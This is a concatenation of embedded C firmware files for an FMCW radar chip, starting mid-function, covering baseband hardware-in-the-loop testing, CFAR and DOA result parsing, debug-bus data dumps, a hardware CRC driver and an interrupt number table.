baseband_tbl_dump(bb_hw, SYS_MEM_ACT_BUF, 0, ANT_NUM * fft_size/2);
}
/* restore registers status */
baseband_switch_bnk_act(bb_hw, old_bnk_act);
baseband_switch_bnk_mode(bb_hw, old_bnk_mode);
fmcw_radio_tx_restore(radio);
fmcw_radio_loop_test_en(radio, false);
/* leave radio shadow bank */
fmcw_radio_loop_test_en(radio, false);
/* find the 1d-fft peak */
if (adc_dbg_en == false)
baseband_fft_peak_calc(bb_hw, peak_power, fft_size);
baseband_hw_reset_after_force(bb_hw);
}
/* bb states splited when dumping data, as hil input and data dump use the same dbgbus, which should be switched */
void baseband_hil_state_ctrl(baseband_hw_t *bb_hw, uint16_t bb_ena_0, uint16_t bb_ena_1, uint16_t bb_ena_2)
{
/* 1st run, hil data input */
baseband_hw_start_with_params(bb_hw, bb_ena_0, 0);
dbgbus_input_config();
dbgbus_hil_ready(); /* ready signal of hil sent to FPGA data collection board */
dmu_hil_input_mux(HIL_GPIO);
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true) /* wait done */
;
/* 2nd run, fft data dump */
if (bb_ena_1 != 0){
lvds_dump_reset(); /* reset signal to fpga board */
fmcw_radio_lvds_on(NULL, true);
baseband_hw_running_done(bb_hw, bb_ena_1, 0);
}
/* 3rd run, run to DOA */
if (bb_ena_2 != 0)
baseband_hw_running_done(bb_hw, bb_ena_2, 0);
}
void baseband_hil_on_gpio(baseband_hw_t *bb_hw, uint8_t dmp_mux, int32_t frame_num)
{
uint16_t bb_ena_0, bb_ena_1, bb_ena_2;
switch (dmp_mux) {
case DMP_FFT_1D:
bb_ena_0 = SYS_ENA(HIL , true); /* 1st run, HIL(FFT_1D shared) */
bb_ena_1 = SYS_ENA(DMP_MID, true); /* 2nd run, dump data */
bb_ena_2 = SYS_ENA(FFT_2D , true)
|SYS_ENA(CFR , true)
|SYS_ENA(BFM , true); /* 3rd run, FFT_2D, CFAR and DOA */
break;
case DMP_FFT_2D:
bb_ena_0 = SYS_ENA(HIL , true)
|SYS_ENA(FFT_2D , true)
|SYS_ENA(CFR , true)
|SYS_ENA(BFM , true); /* 1st run, HIL(FFT_1D shared), FFT_2D, CFAR and DOA*/
bb_ena_1 = SYS_ENA(DMP_FNL, true); /* 2nd run, dump data */
bb_ena_2 = 0;
break;
default:
bb_ena_0 = SYS_ENA(HIL , true)
|SYS_ENA(FFT_2D , true)
|SYS_ENA(CFR , true)
|SYS_ENA(BFM , true); /* 1st run, HIL(FFT_1D shared), FFT_2D, CFAR and DOA*/
bb_ena_1 = 0;
bb_ena_2 = 0;
break;
}
io_mux_dbgbus_dump(); /* gpio mux */
dbgbus_input_config();
if (bb_ena_1 != 0) /* lvds config */
lvds_dump_config(DBG_SRC_DUMP_W_SYNC);
baseband_data_proc_hil(bb_ena_0, bb_ena_1, bb_ena_2);
/* change frame number */
xSemaphoreTake(mutex_frame_count, portMAX_DELAY);
frame_count = frame_num;
xSemaphoreGive(mutex_frame_count);
}
void baseband_hil_input_ahb(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t samp_used = ceil((cfg->adc_sample_end - cfg->adc_sample_start) * cfg->adc_freq) / cfg->dec_factor;
samp_used = (samp_used % 2 == 0) ? samp_used : (samp_used + 1);
samp_used = samp_used > cfg->rng_nfft ? cfg->rng_nfft : samp_used;
// hil input data via ahb bus
for (int i = 0; i < (cfg->nvarray) * ANT_NUM; i++) { /*ant loop*/
for (int c = 0; c < cfg->vel_nfft; c++) { /*chirp loop*/
for (int r = 0; r < samp_used/2; r++) { /*sample loop*/
uint32_t hil_data = ((hil_sin[(r * 2 + 1) % HIL_SIN_PERIOD] << 16) | hil_sin[(r * 2) % HIL_SIN_PERIOD]);
dmu_hil_ahb_write(hil_data);
}
for (int m = samp_used; m < cfg->rng_nfft; m=m+2) { /*fill 0*/
uint32_t hil_data = 0;
dmu_hil_ahb_write(hil_data);
}
}
}
}
void baseband_hil_on_ahb(baseband_hw_t *bb_hw)
{
dmu_hil_input_mux(HIL_AHB);
uint16_t bb_status_en = SYS_ENA(HIL , true)
|SYS_ENA(FFT_2D, true)
|SYS_ENA(CFR , true)
|SYS_ENA(BFM , true);
baseband_hw_start_with_params(bb_hw, bb_status_en, 0);
/* HIL data starts, sine wave via AHB bus*/
baseband_hil_input_ahb(bb_hw);
/* wait done */
while (baseband_hw_is_running(bb_hw) == true)
;
/* parse cfar and doa reselt */
baseband_parse_mem_rlt(bb_hw, true);
}
void baseband_hil_on(baseband_hw_t *bb_hw, bool input_mux, uint8_t dmp_mux, int32_t frame_num)
{
/* HIL input mux, ahb bus or gpio(debug bus) */
if (input_mux == HIL_GPIO)
baseband_hil_on_gpio(bb_hw, dmp_mux, frame_num);
else
baseband_hil_on_ahb(bb_hw);
}
/* parse cfar and doa result */
void baseband_parse_mem_rlt(baseband_hw_t *bb_hw, bool print_ena)
{
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
/* get memory offset */
uint32_t mem_rlt_offset = 0;
uint16_t cfr_size_obj = BB_READ_REG(bb_hw, CFR_SIZE_OBJ);
if (cfr_size_obj < 256) { /* mem_rlt will be splited to 4 banks when cfar size less than 256 */
uint8_t bnk_idx = baseband_get_cur_frame_type();
mem_rlt_offset = bnk_idx * (1 << SYS_SIZE_OBJ_WD_BNK) * RESULT_SIZE;
}
volatile obj_info_t *obj_info = (volatile obj_info_t *)(BB_MEM_BASEADDR + mem_rlt_offset);
/* get object number */
int obj_num = BB_READ_REG(bb_hw, CFR_NUMB_OBJ);
/* parse result */
for (int i = 0; i < obj_num; i++) {
/* cfar result */
uint32_t vel_acc = obj_info[i].vel_acc; // bitwidth 4 ; /* 0x00 */
uint32_t vel_idx = obj_info[i].vel_idx; // bitwidth 10 ;
uint32_t rng_acc = obj_info[i].rng_acc; // bitwidth 4 ;
uint32_t rng_idx = obj_info[i].rng_idx; // bitwidth 10 ;
uint32_t noi = obj_info[i].noi ; // bitwidth 20 ; /* 0x04 */
uint32_t amb_idx = obj_info[i].amb_idx; // bitwidth 5 ;
if (print_ena) {
EMBARC_PRINTF("\n\rvel_acc = %x\n\r", vel_acc); // bitwidth 4 ; /* 0x00 */
EMBARC_PRINTF("vel_idx = %x\n\r" , vel_idx); // bitwidth 10 ;
EMBARC_PRINTF("rng_acc = %x\n\r" , rng_acc); // bitwidth 4 ;
EMBARC_PRINTF("rng_idx = %x\n\r" , rng_idx); // bitwidth 10 ;
EMBARC_PRINTF("noi = %x\n\r" , noi ); // bitwidth 20 ; /* 0x04 */
EMBARC_PRINTF("amb_idx = %x\n\r" , amb_idx); // bitwidth 5 ;
}
/* doa result */
if (obj_info[i].doa[0].ang_vld_0) {
uint32_t ang_acc_0 = obj_info[i].doa[0].ang_acc_0; // bitwidth 4 ; /* 0x00 */
uint32_t ang_idx_0 = obj_info[i].doa[0].ang_idx_0; // bitwidth 9 ;
uint32_t sig_0 = obj_info[i].doa[0].sig_0 ; // bitwidth 20 ; /* 0x04 */
if (print_ena) {
EMBARC_PRINTF("ang_acc_0 = %x\n\r" , ang_acc_0); // bitwidth 4 ; /* 0x00 */
EMBARC_PRINTF("ang_idx_0 = %x\n\r" , ang_idx_0); // bitwidth 9 ;
EMBARC_PRINTF("sig_0 = %x\n\r" , sig_0 ); // bitwidth 20 ; /* 0x04 */
}
}
if (obj_info[i].doa[0].ang_vld_1) {
uint32_t ang_acc_1 = obj_info[i].doa[0].ang_acc_1; // bitwidth 4 ; /* 0x08 */
uint32_t ang_idx_1 = obj_info[i].doa[0].ang_idx_1; // bitwidth 9 ;
uint32_t sig_1 = obj_info[i].doa[0].sig_1 ; // bitwidth 20 ; /* 0x0c */
if (print_ena) {
EMBARC_PRINTF("ang_acc_1 = %x\n\r" , ang_acc_1); // bitwidth 4 ; /* 0x08 */
EMBARC_PRINTF("ang_idx_1 = %x\n\r" , ang_idx_1); // bitwidth 9 ;
EMBARC_PRINTF("sig_1 = %x\n\r" , sig_1 ); // bitwidth 20 ; /* 0x0c */
}
}
if (obj_info[i].doa[0].ang_vld_2) {
uint32_t ang_acc_2 = obj_info[i].doa[0].ang_acc_2; // bitwidth 4 ; /* 0x10 */
uint32_t ang_idx_2 = obj_info[i].doa[0].ang_idx_2; // bitwidth 9 ;
uint32_t sig_2 = obj_info[i].doa[0].sig_2 ; // bitwidth 20 ; /* 0x14 */
if (print_ena) {
EMBARC_PRINTF("ang_acc_2 = %x\n\r" , ang_acc_2); // bitwidth 4 ; /* 0x10 */
EMBARC_PRINTF("ang_idx_2 = %x\n\r" , ang_idx_2); // bitwidth 9 ;
EMBARC_PRINTF("sig_2 = %x\n\r" , sig_2 ); // bitwidth 20 ; /* 0x14 */
}
}
if (obj_info[i].doa[0].ang_vld_3) {
uint32_t ang_acc_3 = obj_info[i].doa[0].ang_acc_3; // bitwidth 4 ; /* 0x18 */
uint32_t ang_idx_3 = obj_info[i].doa[0].ang_idx_3; // bitwidth 9 ;
uint32_t sig_3 = obj_info[i].doa[0].sig_3 ; // bitwidth 20 ; /* 0x1c */
if (print_ena) {
EMBARC_PRINTF("ang_acc_3 = %x\n\r" , ang_acc_3); // bitwidth 4 ; /* 0x18 */
EMBARC_PRINTF("ang_idx_3 = %x\n\r" , ang_idx_3); // bitwidth 9 ;
EMBARC_PRINTF("sig_3 = %x\n\r" , sig_3 ); // bitwidth 20 ; /* 0x1c */
}
}
} // end for loop
/* restore memory bank */
baseband_switch_mem_access(bb_hw, old);
}
void baseband_agc_dbg_reg_store(baseband_hw_t *bb_hw, uint32_t *p_dbg_reg)
{
uint32_t agc_dbg_base_adr = BB_REG_AGC_COD_C0;
uint32_t agc_dbg_adr = agc_dbg_base_adr;
//store agc_cod
for(int i = 0; i < MAX_NUM_RX; i++) {
*p_dbg_reg = baseband_read_reg(bb_hw, agc_dbg_adr);
p_dbg_reg = p_dbg_reg + 1;
agc_dbg_adr = agc_dbg_adr + 0x4;
}
//store agc_sat_cnt
for(int i = 0; i < (AFE_SATS * MAX_NUM_RX); i++) {
*p_dbg_reg = baseband_read_reg(bb_hw, agc_dbg_adr);
p_dbg_reg = p_dbg_reg + 1;
agc_dbg_adr = agc_dbg_adr + 0x4;
}
//only store DAT_MAX_1ST here
for(int i = 0; i < MAX_NUM_RX; i++) {
*p_dbg_reg = baseband_read_reg(bb_hw, agc_dbg_adr);
p_dbg_reg = p_dbg_reg + 1;
agc_dbg_adr = agc_dbg_adr + 0x4;
}
//store fdb agc_irq_status
*p_dbg_reg = BB_READ_REG(bb_hw, AGC_IRQ_STATUS);
}
void baseband_agc_dbg_reg_dump(baseband_hw_t *bb_hw, int item)
{
uint32_t agc_reg[MAX_NUM_RX+AFE_SATS*MAX_NUM_RX+MAX_NUM_RX+1];
baseband_agc_dbg_reg_store(bb_hw,agc_reg);
int base = 0;
switch (item) {
case 0:
EMBARC_PRINTF("AGC_COD: 0x%08x 0x%08x 0x%08x 0x%08x\n\r", agc_reg[0],agc_reg[1],agc_reg[2],agc_reg[3]);
break;
case 1:
base = MAX_NUM_RX;
for (int i = 0; i < AFE_SATS; i++) {
EMBARC_PRINTF("AGC_AFE_stage%d_SAT_CNT: %d %d %d %d\n\r", i, agc_reg[base + MAX_NUM_RX * i + 0],agc_reg[base + MAX_NUM_RX * i + 1],
agc_reg[base + MAX_NUM_RX * i + 2],agc_reg[base + MAX_NUM_RX * i + 3]);
EMBARC_PRINTF("\n\r");
}
break;
case 2:
base = MAX_NUM_RX + AFE_SATS*MAX_NUM_RX;
EMBARC_PRINTF("AGC_DAT_MAX_1ST: 0x%08x 0x%08x 0x%08x 0x%08x\n\r", agc_reg[base + 0],agc_reg[base + 1],agc_reg[base + 2],agc_reg[base + 3]);
break;
case 3:
EMBARC_PRINTF("AGC_IRQ_STATUS: 0x%08x\n\r", agc_reg[MAX_NUM_RX+AFE_SATS*MAX_NUM_RX+MAX_NUM_RX]);
break;
default:
break;
}
}
void baseband_datdump_smoke_test(baseband_hw_t *bb_hw)
{
int j = 0;
int dat_dmp_pttn = 0;
BB_WRITE_REG(bb_hw, SYS_MEM_ACT, SYS_MEM_ACT_BUF);
for(int i = 0; i< DATA_DUMP_NUM_2MB; i++) {
if(DATA_DUMP_PATTEN == 0)
dat_dmp_pttn = j;
else if(DATA_DUMP_PATTEN == 1)
dat_dmp_pttn = ((j * 2) << 16) + (j * 2 + 1);
else if(DATA_DUMP_PATTEN == 2)
dat_dmp_pttn = 0;
/* write to memory, the following address format(i) only adapts to NO virtual array */
baseband_write_mem_table(bb_hw, i, dat_dmp_pttn);
if(j < HALF_MAX_ADC_DATA) /* loop 0 ~ 32767*/
j = j + 1;
else
j = 0;
}
}
void baseband_dbg_start(baseband_hw_t *bb_hw, uint8_t dbg_mux)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
baseband_t* bb = cfg->bb;
uint8_t old_dbg_mux = BB_READ_REG(bb_hw, DBG_BUF_TAR);
BB_WRITE_REG(bb_hw, DBG_BUF_TAR, dbg_mux); /* turn on debug data dump*/
uint16_t bb_status_en = SYS_ENA(AGC , cfg->agc_mode == 0 ? 0: 1)
|SYS_ENA(SAM , true )
|SYS_ENA(FFT_2D, true )
|SYS_ENA(CFR , true )
|SYS_ENA(BFM , true );
baseband_start_with_params(bb, true, true, bb_status_en, true, BB_IRQ_ENABLE_SAM_DONE, false); /* no need track */
while (baseband_hw_is_running(bb_hw) == false) /* wait start */
;
while (baseband_hw_is_running(bb_hw) == true) /* wait done */
;
/* restroe dbg_mux */
BB_WRITE_REG(bb_hw, DBG_BUF_TAR, old_dbg_mux); /* turn off debug data dump*/
}
static void baseband_shadow_bnk_init(baseband_hw_t *bb_hw)
{
/* switch baseband active bank */
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t old_bnk = baseband_switch_bnk_act(bb_hw, SHADOW_BNK);
/* sys */
uint16_t bb_status_en = SYS_ENA(SAM, true ) ; // only sample (fft1d shared with sample state )
BB_WRITE_REG(bb_hw, SYS_ENABLE , bb_status_en);
BB_WRITE_REG(bb_hw, SYS_SIZE_RNG_SKP, 0 ); // no need skip
BB_WRITE_REG(bb_hw, SYS_SIZE_RNG_BUF, cfg->rng_nfft - 1);
BB_WRITE_REG(bb_hw, SYS_SIZE_RNG_PRD, cfg->rng_nfft + 100); // FIXME, just longthen chirp points for hardware loop
BB_WRITE_REG(bb_hw, SYS_SIZE_BPM , 0 );
BB_WRITE_REG(bb_hw, SYS_SIZE_RNG_FFT, cfg->rng_nfft - 1);
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_FFT, 0 ); // only 1 chirp
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_BUF, 0 );
/* sam */
BB_WRITE_REG(bb_hw, SAM_SINKER , SAM_SINKER_FFT); /* direct or buffer */
BB_WRITE_REG(bb_hw, SAM_FORCE , 1 ); /* force start */
/* fft */
BB_WRITE_REG(bb_hw, FFT_SHFT_RNG , cfg->rng_nfft - 1);
BB_WRITE_REG(bb_hw, FFT_NO_WIN , 1 ); /* shadow bank has no window LUT */
/* restore bank active */
baseband_switch_bnk_act(bb_hw, old_bnk);
}
// both adc and bb should be reset due to bug 841
void baseband_hw_reset_after_force(baseband_hw_t *bb_hw)
{
// 1st, adc reset asserted
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
raw_writel(REL_REGBASE_DMU + REG_DMU_ADC_RSTN_OFFSET, 0); // asserted reset_n
#else
// save old status
int old_mux_reset = raw_readl(REL_REGBASE_DMU + REG_DMU_MUX_RESET_OFFSET);
int old_mux_sync = raw_readl(REL_REGBASE_DMU + REG_DMU_MUX_SYNC_OFFSET);
raw_writel(REL_REGBASE_DMU + REG_DMU_MUX_RESET_OFFSET, 4);
raw_writel(REL_REGBASE_DMU + REG_DMU_MUX_SYNC_OFFSET, 4);
raw_writel(REL_REGBASE_DMU + REG_DMU_ADC_RSTN_OFFSET, 0); // asserted ADC reset_n
#endif
// 2nd, bb reset asserted
bb_core_reset(1); // reset bb_core
// 3rd, adc reset deasserted
UDELAY(10); // delay for ADC reset
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
raw_writel(REL_REGBASE_DMU + REG_DMU_ADC_RSTN_OFFSET, 1); // deasserted reset_n
#else
raw_writel(REL_REGBASE_DMU + REG_DMU_ADC_RSTN_OFFSET, 1); // deasserted ADC reset_n
// restore old status
raw_writel(REL_REGBASE_DMU + REG_DMU_MUX_RESET_OFFSET, old_mux_reset);
raw_writel(REL_REGBASE_DMU + REG_DMU_MUX_SYNC_OFFSET, old_mux_sync);
#endif
// 4th, bb reset deasserted
bb_core_reset(0); // deassert reset
}
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "mux.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "alps_module_list.h"
#include "alps_dmu_reg.h"
#include "alps_dmu.h"
#include "baseband_hw.h"
#include "gpio_hal.h"
#define DATA_DUMP_DONE 21
#define DATA_DUMP_RESET 22
#define HIL_INPUT_READY 23
/* dbgbus raw operating methods. */
void dbgbus_input_config(void)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_VAL_OEN_OFFSET, DBGBUS_OUTPUT_DISABLE);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_DISABLE);
dbgbus_enable(1); /* enable dbgbus clock */
}
void dbgbus_dump_enable(uint8_t dbg_src)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_SRC_OFFSET, dbg_src);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_VAL_OEN_OFFSET, DBGBUS_OUTPUT_ENABLE);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_ENABLE);
}
void lvds_dump_reset(void)
{
gpio_write(DATA_DUMP_RESET, 0);
gpio_write(DATA_DUMP_RESET, 1);
gpio_write(DATA_DUMP_RESET, 0);
}
void lvds_dump_done(void)
{
gpio_write(DATA_DUMP_DONE, 0);
gpio_write(DATA_DUMP_DONE, 1);
gpio_write(DATA_DUMP_DONE, 0);
}
/* gpio_23, ready signal of hil */
/* ready signal should be sent to FPGA at the beginning of every hil frame */
void dbgbus_hil_ready(void)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_SRC_OFFSET, DBG_SRC_CPU);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_23_OEN);
/* Only 1 posedge is needed */
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DOUT_OFFSET, DBGBUS_DAT_RESET); /* write 0 */
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DOUT_OFFSET, DBGBUS_DAT_23_MASK); /* write 1 */
}
/* gpio_22, reset signal */
/* reset signal should be sent to FPGA at the beginning of every data collection frame */
/* reset signal and done signal should be used in pair */
void dbgbus_dump_reset(void)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_SRC_OFFSET, DBG_SRC_CPU);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_22_OEN);
/* Only 1 posedge is needed */
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DOUT_OFFSET, DBGBUS_DAT_RESET); /* write 0 */
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DOUT_OFFSET, DBGBUS_DAT_22_MASK); /* write 1 */
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_DISABLE);
}
/* gpio_21, done signal */
/* done signal should be sent to FPGA at the end of every data collection frame */
/* reset signal and done signal should be used in pair */
void dbgbus_dump_done(void)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_SRC_OFFSET, DBG_SRC_CPU);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_21_OEN);
/* Only 1 posedge is needed */
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DOUT_OFFSET, DBGBUS_DAT_RESET); /* write 0 */
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DOUT_OFFSET, DBGBUS_DAT_21_MASK); /* write 1 */
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_DISABLE);
}
void dbgbus_dump_disable(void)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_SRC_OFFSET, DBG_SRC_CPU);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_VAL_OEN_OFFSET, DBGBUS_OUTPUT_DISABLE);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_DISABLE);
}
void dbgbus_free_run_enable(void)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_SRC_OFFSET, DBG_SRC_CPU);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_VAL_OEN_OFFSET, DBGBUS_OUTPUT_DISABLE);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DAT_OEN_OFFSET, DBGBUS_DAT_20_OEN);
}
void gpio_free_run_sync(void)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DOUT_OFFSET, DBGBUS_DAT_20_MASK);
raw_writel(REL_REGBASE_DMU + REG_DMU_DBG_DOUT_OFFSET, DBGBUS_DAT_RESET);
}
void dbgbus_dump_start( uint8_t dbg_src)
{
/* gpio config */
io_mux_dbgbus_dump();
dbgbus_dump_reset(); /* reset fpga board */
dbgbus_dump_enable(dbg_src);
dbgbus_enable(1); /* enable dbgbus clock, !! this should be at the last line of this function !! */
}
void dbgbus_dump_stop(void)
{
dbgbus_enable(0); /* disable dbgbus clock */
dbgbus_dump_done();
io_mux_dbgbus_mode_stop();
}
#ifdef CHIP_CASCADE
// Note, debugbus(gpio) 5, 6, 12 are multiplexed with cascade control signals
// cascade_irq -- gpio_dat_5, 6, fmcw_start -- gpio_dat_12
// when data dump, these 3 pins should be switched to dbgbus
// after data dump, these 3 pins should be switched to cascade control immediately.
void dbgbus_dump_cascade_switch(bool enable)
{
if (enable) {
io_mux_casade_irq_disable();
io_mux_fmcw_start_sel_disable();
dbgbus_enable(1); /* enable dbgbus clock */
} else {
dbgbus_enable(0); /* disable dbgbus clock firstly to avoid abnormal signal */
io_mux_casade_irq();
io_mux_fmcw_start_sel();
}
}
#endif
<file_sep>#include "calterah_complex.h"
void cmult_cum(complex_t *in1, complex_t *in2, complex_t *dout)
{
complex_t tmp;
cmult(in1, in2, &tmp);
cadd(&tmp, dout, dout);
}
void cmult_conj_cum(complex_t *in1, complex_t *in2, complex_t *dout)
{
complex_t tmp;
cmult_conj(in1, in2, &tmp);
cadd(&tmp, dout, dout);
}
<file_sep>#ifndef _DW_UART_OBJ_H_
#define _DW_UART_OBJ_H_
#define DW_UART_NUM (2)
#define DW_UART_0_ID 0
#define DW_UART_1_ID 1
#define UART_CNT_MAX (2)
#include "alps_clock.h"
void *uart_get_dev(uint32_t id);
void uart_enable(uint32_t id, uint32_t en);
clock_source_t uart_clock_source(uint32_t id);
#endif
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "hw_crc.h"
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
#endif
#define SW_CRC32 0
#ifndef OS_FREERTOS
#define CRC_LOCK(lock)
#define CRC_UNLOCK(lock)
#else
#define CRC_LOCK(lock) while (xSemaphoreTake(lock, portMAX_DELAY) != pdTRUE) {}
#define CRC_UNLOCK(lock) xSemaphoreGive(lock)
static xSemaphoreHandle crclock;
#endif
#if SW_CRC32
#define POLYNOMIAL 0xD419CC15L
static unsigned long crc32_table[256];
#endif
static void (*crc_complete_callback)(void *);
static void gen_crc_table(void);
static void crc_complete_isr(void *params);
static void crc_error_isr(void *params);
int32_t crc_init(crc_poly_t poly, uint32_t mode)
{
int32_t result = E_OK;
//uint8_t err_int;
//uint8_t com_int;
hw_crc_t *crc_dev = (hw_crc_t *)crc_get_dev(0);
do {
if (NULL == crc_dev) {
result = E_NOEXS;
break;
}
crc_enable(1);
hw_crc_mode(poly, mode);
/* interrupt install. */
/*
err_int = crc_dev->err_int;
result = int_handler_install(err_int, crc_error_isr);
if (E_OK != result) {
break;
} else {
hw_crc_interrupt_en(INT_HW_CRC_FAIL, 1);
dmu_irq_enable(err_int, 1);
int_enable(err_int);
}
*/
/*
com_int = crc_dev->complete_int;
result = int_handler_install(com_int, crc_complete_isr);
if (E_OK != result) {
break;
} else {
hw_crc_interrupt_en(INT_HW_CRC_COMPLETE, 0);
dmu_irq_enable(com_int, 1);
int_enable(com_int);
}
*/
hw_crc_interrupt_en(INT_HW_CRC_COMPLETE, 1);
hw_crc_interrupt_en(INT_HW_CRC_FAIL, 0);
hw_crc_interrupt_en(INT_HW_CRC_SUCCESS, 0);
#ifdef OS_FREERTOS
crclock = xSemaphoreCreateBinary();
xSemaphoreGive(crclock);
#endif
} while (0);
#if SW_CRC32
gen_crc_table();
#endif
return result;
}
int32_t crc32_update(uint32_t crc, uint32_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t idx, single_len = 0xFFFF;
if ((NULL == data) || (0 == len)) {
result = E_PAR;
} else {
//CRC_LOCK(crclock);
while (len) {
if (len < single_len) {
single_len = len;
}
hw_crc_init_value(crc);
hw_crc_count(single_len);
for (idx = 0; idx < single_len; idx++) {
hw_crc_raw_data(*data++);
}
HW_CRC_WAIT_COMPLETED();
crc = hw_crc_sector_value();
len -= single_len;
}
//CRC_UNLOCK(crclock);
}
return result;
}
int32_t crc16_update(uint32_t crc, uint16_t *data, uint32_t len, void (*func)(void *))
{
int32_t result = E_OK;
uint32_t idx, single_len = 0xFFFF;
if ((NULL == data) || (0 == len)) {
result = E_PAR;
} else {
//CRC_LOCK(crclock);
while (len) {
if (len < single_len) {
single_len = len;
}
hw_crc_init_value(crc);
hw_crc_count(single_len);
for (idx = 0; idx < single_len; idx++) {
hw_crc_raw_data((uint32_t)*data++);
}
HW_CRC_WAIT_COMPLETED();
crc = hw_crc_sector_value();
len -= single_len;
}
//CRC_UNLOCK(crclock);
}
return result;
}
uint32_t crc_output(void)
{
return hw_crc_sector_value();
}
uint32_t crc_init_value(void)
{
return hw_crc_init_value_get();
}
static void crc_complete_isr(void *params)
{
if (NULL != crc_complete_callback) {
crc_complete_callback(params);
}
}
static void crc_error_isr(void *params)
{
/* TODO: record error! */
}
#if SW_CRC32
static void gen_crc_table(void)
{
int i, j;
unsigned int crc_accum;
for(i=0; i < 256; i++) {
crc_accum = ((unsigned int) i << 24);
for(j=0; j < 8; j++) {
if (crc_accum & 0x80000000L) {
crc_accum = (crc_accum << 1) ^ POLYNOMIAL;
} else {
crc_accum = (crc_accum << 1);
}
}
crc32_table[i] = crc_accum;
}
}
unsigned int update_crc(unsigned int crc_accum, unsigned char *datap, unsigned int datak_size)
{
int i, j;
for(j = 0; j < datak_size; j++) {
i = ((unsigned int) (crc_accum >> 24) ^ *datap++) & 0xff;
crc_accum = (crc_accum << 8) ^ crc32_table[i];
}
return crc_accum;
}
#endif
<file_sep>#ifndef _ALPS_INTERRUPT_H_
#define _ALPS_INTERRUPT_H_
#define DMA_IRQ_FLAG_0 19
#define BB_IRQ_W_0 20
#define UART_0_IRQ_W 21
#define UART_1_IRQ_W 22
#define I2C_M_IRQ_W 23
#define SPI_M0_TXE_INTR 24
#define SPI_M1_TXE_INTR 25
#define SPI_S_RXF_INTR 26
#define QSPI_M_TXE_INTR 27
#define CAN_0_IRQ0 28
#define CAN_1_IRQ0 29
#define RF_ERROR_IRQ_I 30
#define DMU_IRQ_W 31
#define DG_ERROR_IRQ_I 32
#define CRC_IRQ_2 33
#define CRC_IRQ_1 34
#define CRC_IRQ_0 35
#define DMA_M1_IRQ_FLAG_0 36
#define TIMER_INTR_3 37
#define TIMER_INTR_2 38
#define TIMER_INTR_1 39
#define TIMER_INTR_0 40
#define DMA_IRQ_FLAG_1 41
#define DMA_IRQ_FLAG_2 42
#define DMA_IRQ_FLAG_3 43
#define DMA_M1_IRQ_FLAG_1 44
#define DMA_M1_IRQ_FLAG_2 45
#define DMA_M1_IRQ_FLAG_3 46
#define SPI_M0_RXF_INTR 47
#define SPI_M0_ERR_INTR 48
#define SPI_M1_RXF_INTR 49
#define SPI_M1_ERR_INTR 50
#define SPI_S_TXE_INTR 51
#define SPI_S_ERR_INTR 52
#define QSPI_M_RXF_INTR 53
#define QSPI_M_ERR_INTR 54
#define CAN_0_IRQ1 55
#define CAN_0_IRQ2 56
#define CAN_0_IRQ3 57
#define CAN_1_IRQ1 58
#define CAN_1_IRQ2 59
#define CAN_1_IRQ3 60
#define GPIO_IRQ_0 61
#define GPIO_IRQ_1 62
#define GPIO_IRQ_2 63
#define GPIO_IRQ_3 64
#define GPIO_IRQ_4 65
#define GPIO_IRQ_5 66
#define GPIO_IRQ_6 67
#define GPIO_IRQ_7 68
#define GPIO_IRQ_8 69
#define GPIO_IRQ_9 70
#define GPIO_IRQ_10 71
#define GPIO_IRQ_11 72
#define GPIO_IRQ_12 73
#define GPIO_IRQ_13 74
#define GPIO_IRQ_14 75
#define GPIO_IRQ_15 76
#define SW_IRQ_W_0 77
#define SW_IRQ_W_1 78
#define SW_IRQ_W_2 79
#define SW_IRQ_W_3 80
#define PWM_INTR_1 81
